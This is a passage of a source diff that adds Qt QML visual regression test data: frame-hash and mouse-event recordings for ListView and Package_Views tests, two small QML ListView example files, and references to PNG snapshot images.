"a1d3042e16709817906dcdc673ee52c7" + } + Frame { + msec: 8208 + hash: "236dd41feac1b1a8a4bd7911bb184da2" + } + Frame { + msec: 8224 + hash: "f3ec821bba1d32e90bdab0e85c07d7d8" + } + Frame { + msec: 8240 + hash: "e328c35adf7ffc3d7e3af97e798ec8a5" + } + Frame { + msec: 8256 + hash: "651101db68fd3ed1dc5f441c126dc31b" + } + Frame { + msec: 8272 + hash: "651101db68fd3ed1dc5f441c126dc31b" + } + Frame { + msec: 8288 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8304 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8320 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8336 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8352 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8368 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8384 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8400 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8416 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8432 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8448 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8464 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8480 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8496 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8512 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8528 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8544 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8560 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8576 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8592 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8608 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8624 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8640 + image: "listview.8.png" + } + Frame { + msec: 8656 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8672 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8688 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8704 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8720 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8736 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8752 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8768 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8784 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8800 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8816 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8832 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8848 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8864 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8880 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8896 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8912 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8928 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8944 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8960 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8976 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 8992 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9008 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9024 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9040 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9056 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9072 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9088 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9104 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9120 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9136 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9152 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9168 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9184 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9200 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9216 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9232 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9248 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9264 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9280 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9296 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9312 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9328 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9344 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9360 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9376 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9392 + hash: "1171be123a361d72859c25434573482c" + } + Frame { + msec: 9408 + hash: "1171be123a361d72859c25434573482c" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/itemlist.qml b/tests/auto/declarative/qmlvisual/ListView/itemlist.qml new file mode 100644 index 0000000..8cbbdb0 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/itemlist.qml @@ -0,0 +1,40 @@ +// This example demonstrates placing items in a view using +// a VisualItemModel + +import Qt 4.6 + +Rectangle { + color: "lightgray" + width: 240 + height: 320 + + VisualItemModel { + id: itemModel + objectName: "itemModel" + Rectangle { + objectName: "item1" + height: view.height; width: view.width; color: "#FFFEF0" + } + Rectangle { + objectName: "item2" + height: view.height; width: view.width; color: "#F0FFF7" + } + Rectangle { + objectName: "item3" + height: view.height; width: view.width; color: "#F4F0FF" + } + } + + ListView { + id: view + objectName: "view" + anchors.fill: parent + anchors.bottomMargin: 30 + model: itemModel + preferredHighlightBegin: 0 + preferredHighlightEnd: 0 + highlightRangeMode: "StrictlyEnforceRange" + orientation: ListView.Horizontal + flickDeceleration: 2000 + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/listview.qml b/tests/auto/declarative/qmlvisual/ListView/listview.qml new file mode 100644 index 0000000..fb9eecd --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/listview.qml @@ -0,0 +1,81 @@ +import Qt 4.6 + +Rectangle { + width: 600; height: 300; color: "white" + + ListModel { + id: myModel + ListElement { + itemColor: "red" + } + ListElement { + itemColor: "green" + } + ListElement { + itemColor: "blue" + } + ListElement { + itemColor: "orange" + } + ListElement { + itemColor: "brown" + } + ListElement { + itemColor: "yellow" + } + ListElement { + itemColor: "purple" + } + ListElement { + itemColor: "darkred" + } + ListElement { + itemColor: "darkblue" + } + } + + Component { + id: myDelegate + Item { + width: 200; height: 50 + Rectangle { + x: 5; y : 5 + width: 190; height: 40 + opacity: 0.5 + color: itemColor + } + } + } + + Component { + id: myHighlight + Rectangle { color: "black" } + } + + ListView { + id: list1 + width: 200; height: parent.height + model: myModel; delegate: myDelegate + highlight: myHighlight; currentIndex: list3.currentIndex + focus: true + } + ListView { + id: list2 + x: 200; width: 200; height: parent.height + model: myModel; delegate: myDelegate; highlight: myHighlight + preferredHighlightBegin: 80 + preferredHighlightEnd: 220 + highlightRangeMode: "ApplyRange" + currentIndex: list1.currentIndex + } + ListView { + id: list3 + x: 400; width: 200; height: parent.height + model: myModel; delegate: myDelegate; highlight: myHighlight + currentIndex: list1.currentIndex + preferredHighlightBegin: 125 + preferredHighlightEnd: 125 + highlightRangeMode: "StrictlyEnforceRange" + flickDeceleration: 1000 + } +} diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png new file mode 100644 index 0000000..c59b816 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png new file mode 100644 index 0000000..d4dbc70 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.10.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.10.png new file mode 100644 index 0000000..ed9d345 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.10.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.11.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.11.png new file mode 100644 index 0000000..ed9d345 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.11.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.12.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.12.png new file mode 100644 index 0000000..45ee400 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.12.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.13.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.13.png new file mode 100644 index 0000000..c73e158 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.13.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.14.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.14.png new file mode 100644 index 0000000..e2fff6d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.14.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.15.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.15.png new file mode 100644 index 0000000..d7a13df Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.15.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.16.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.16.png new file mode 100644 index 0000000..beb3094 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.16.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.17.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.17.png new file mode 100644 index 0000000..beb3094 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.17.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.18.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.18.png new file mode 100644 index 0000000..beb3094 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.18.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.19.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.19.png new file mode 100644 index 0000000..d3a2650 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.19.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png new file mode 100644 index 0000000..a09dd28 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.20.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.20.png new file mode 100644 index 0000000..600462a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.20.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.21.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.21.png new file mode 100644 index 0000000..6defca0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.21.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.22.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.22.png new file mode 100644 index 0000000..91967e1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.22.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png new file mode 100644 index 0000000..d099a79 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png new file mode 100644 index 0000000..385efc8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png new file mode 100644 index 0000000..25a7c3c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png new file mode 100644 index 0000000..25a7c3c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.7.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.7.png new file mode 100644 index 0000000..7a24f51 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.7.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.8.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.8.png new file mode 100644 index 0000000..7a24f51 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.8.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.9.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.9.png new file mode 100644 index 0000000..45ee400 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.9.png differ diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml new file mode 100644 index 0000000..d062667 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml @@ -0,0 +1,3751 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 32 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 48 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 64 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 80 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 96 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 112 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 128 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 144 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 160 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 176 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 192 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 208 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 224 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 240 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 256 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 272 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 288 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 304 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 320 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 336 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 352 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 368 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 384 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 400 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 416 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 432 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 448 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 464 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 480 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 496 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 512 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 528 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 544 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 560 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 576 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 592 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 608 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 624 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 640 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 656 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 672 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 688 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 704 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 720 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 736 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 752 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 768 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 784 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 800 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 816 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 832 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 848 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 864 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 880 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 896 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 912 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 928 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 944 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 960 + image: "packageviews.0.png" + } + Frame { + msec: 976 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 992 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1008 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1024 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1040 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1056 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1072 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1088 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1104 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1120 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1136 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1152 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1168 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1184 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1200 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1216 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1232 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1248 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1264 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1280 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1296 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1312 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1328 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1344 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1360 + hash: "a327426c93b523526f993b5271ab4501" + } + Frame { + msec: 1376 + hash: "a327426c93b523526f993b5271ab4501" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 57; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1392 + hash: "a327426c93b523526f993b5271ab4501" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 57; y: 162 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1408 + hash: "a327426c93b523526f993b5271ab4501" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 57; y: 159 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 57; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1424 + hash: "a327426c93b523526f993b5271ab4501" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 56; y: 152 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 56; y: 147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1440 + hash: "87b7cacfb2d9e8ad916e331b2cf1f13e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 55; y: 141 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 54; y: 133 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1456 + hash: "34290c1435c1a96d08152479d2d1334e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 54; y: 126 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 54; y: 126 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1472 + hash: "ef5fb09ec8fb4b0d97c864618d6f6231" + } + Frame { + msec: 1488 + hash: "d5b4c2e1d4b0bc877c99739a67b4a4fb" + } + Frame { + msec: 1504 + hash: "a3623a3f253590d51ee03b6849e88edb" + } + Frame { + msec: 1520 + hash: "4c1115f1041629b7c37cf4ae001fd7d3" + } + Frame { + msec: 1536 + hash: "845bb3d1f52bee4a469fb12d6875a323" + } + Frame { + msec: 1552 + hash: "eb08b5a671149005dbafc8507bb78b18" + } + Frame { + msec: 1568 + hash: "16744a5b90b29954faf0710010ac6369" + } + Frame { + msec: 1584 + hash: "322bbe367fbbf0bf07f9153da652a5fc" + } + Frame { + msec: 1600 + hash: "257769f7c3e24bb2d0cd674dfbe42913" + } + Frame { + msec: 1616 + hash: "8e299cbcaeae4d53d0fc05e03d36e0d9" + } + Frame { + msec: 1632 + hash: "f3fb7f30336045abb4557247aab5bde1" + } + Frame { + msec: 1648 + hash: "468400fb4e9bfa454ea00f19aa5d77b5" + } + Frame { + msec: 1664 + hash: "429cc820ada7a515b2cb71f133320949" + } + Frame { + msec: 1680 + hash: "721ec7594d8f815e5648eb8d570d1179" + } + Frame { + msec: 1696 + hash: "9bc4105a0456c36738c435323e690db1" + } + Frame { + msec: 1712 + hash: "e54a84718dbdc45dd814089051772585" + } + Frame { + msec: 1728 + hash: "2c969450ede6b6ea7e0e68ee54d02aaa" + } + Frame { + msec: 1744 + hash: "c2015dd1d4bd223a7fe1df03027af2f3" + } + Frame { + msec: 1760 + hash: "74108fedfb0967adea181893834bcd9b" + } + Frame { + msec: 1776 + hash: "b04a22f1cfde6ede57117992cd97dc1c" + } + Frame { + msec: 1792 + hash: "271d71cb03dd38100812466a973b79ef" + } + Frame { + msec: 1808 + hash: "130709eecd8eca395085020a83e7553a" + } + Frame { + msec: 1824 + hash: "a0e5e187ed5245fd766803d266195e6b" + } + Frame { + msec: 1840 + hash: "d29c145f3ba39a7c2c6ac54b27f9cea1" + } + Frame { + msec: 1856 + hash: "6e41349b4adb6e37a2f9f2482c0aa5b1" + } + Frame { + msec: 1872 + hash: "c02c52d3c87c6befb65f3bf392981cd5" + } + Frame { + msec: 1888 + hash: "ec48d113c8468bd1e1b465e248eecaee" + } + Frame { + msec: 1904 + hash: "a2c9b917d1f0cff0e088d3b624d9eeb8" + } + Frame { + msec: 1920 + image: "packageviews.1.png" + } + Frame { + msec: 1936 + hash: "c4d4f8a351316b4a33f42f5fb030f304" + } + Frame { + msec: 1952 + hash: "1baee6be1da687309d84a992e430c915" + } + Frame { + msec: 1968 + hash: "4245f02817f7a674c34c581cbd9e1181" + } + Frame { + msec: 1984 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2000 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2016 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2032 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2048 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2064 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2080 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2096 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2112 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2128 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2144 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2160 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2176 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2192 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2208 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2224 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2240 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2256 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2272 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2288 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 70; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2304 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2320 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2336 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2352 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 70; y: 89 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2368 + hash: "2fa6bb20f29467713c94886c6fffe5e3" + } + Frame { + msec: 2384 + hash: "3b9a75225adddb01e92286463e15bf98" + } + Frame { + msec: 2400 + hash: "32f99602756898b4ec607d4124b5120f" + } + Frame { + msec: 2416 + hash: "60007f14752d2d87ba6e335ad596f1ad" + } + Frame { + msec: 2432 + hash: "dcfad2407f53f83964fa7be762a137bd" + } + Frame { + msec: 2448 + hash: "fcc1a30a33bec046868734014132eb70" + } + Frame { + msec: 2464 + hash: "f60592829a2765b3cd3a0cecb9c45426" + } + Frame { + msec: 2480 + hash: "a0e26063acd1b53b5eeeb31187f38336" + } + Frame { + msec: 2496 + hash: "d7f3e776038bd479db292bcba3a65fc7" + } + Frame { + msec: 2512 + hash: "4af31954235ab8a7cf8462eaa64d7dda" + } + Frame { + msec: 2528 + hash: "aff3f287c07f546e0d3e9e68731d82fe" + } + Frame { + msec: 2544 + hash: "75fbc4e26466e8a1f66503addfcbb525" + } + Frame { + msec: 2560 + hash: "cb4c91f725ec46dd066475efc2bc2d65" + } + Frame { + msec: 2576 + hash: "106434203ccc2fd8246c56520095a473" + } + Frame { + msec: 2592 + hash: "129ced0e7fc406e81b1ced72397adc5c" + } + Frame { + msec: 2608 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2624 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2640 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2656 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2672 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2688 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2704 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2720 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2736 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2752 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2768 + hash: 